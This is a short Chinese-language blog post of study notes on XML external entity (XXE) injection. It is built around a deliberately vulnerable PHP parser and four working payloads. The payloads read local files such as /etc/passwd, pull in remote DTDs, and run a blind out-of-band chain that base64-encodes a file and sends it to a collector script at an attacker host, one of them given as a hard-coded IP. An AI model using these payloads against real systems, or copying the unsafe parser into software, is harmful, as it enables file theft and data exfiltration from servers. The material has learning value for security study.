您的位置:首页 > 其它

xml实体注入学习

2018-03-18 17:21 141 查看
好久没学习技术了 很多东西都忘了 复习一下

测试代码

<?php

$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);

foreach ($data as $key => $value){
echo "you  " . $key . "is  " . $value . "<br>";
}
?>


第一种方法

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///D:/123.txt"> ]>
<user>
<test>&b;</test>
</user>


第二种方法

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://host/test.dtd"> %d; ]>
<user>
<test>&b;</test>
</user>

test.dtd内容是
<!ENTITY b SYSTEM "file:///etc/passwd">


第三种方法

<!DOCTYPE a SYSTEM " http://host/test.dtd">[/code] 
第四种 无回显的情况 提交

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://123.206.229.100:8888//evil.xml">
%int;
%all;
%send;
]>



服务器1.php文件


<?php file_put_contents("1.txt",$_GET['file']); ?>


服务器evil.xml文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/123.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/1.php?file=%file;'>">
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: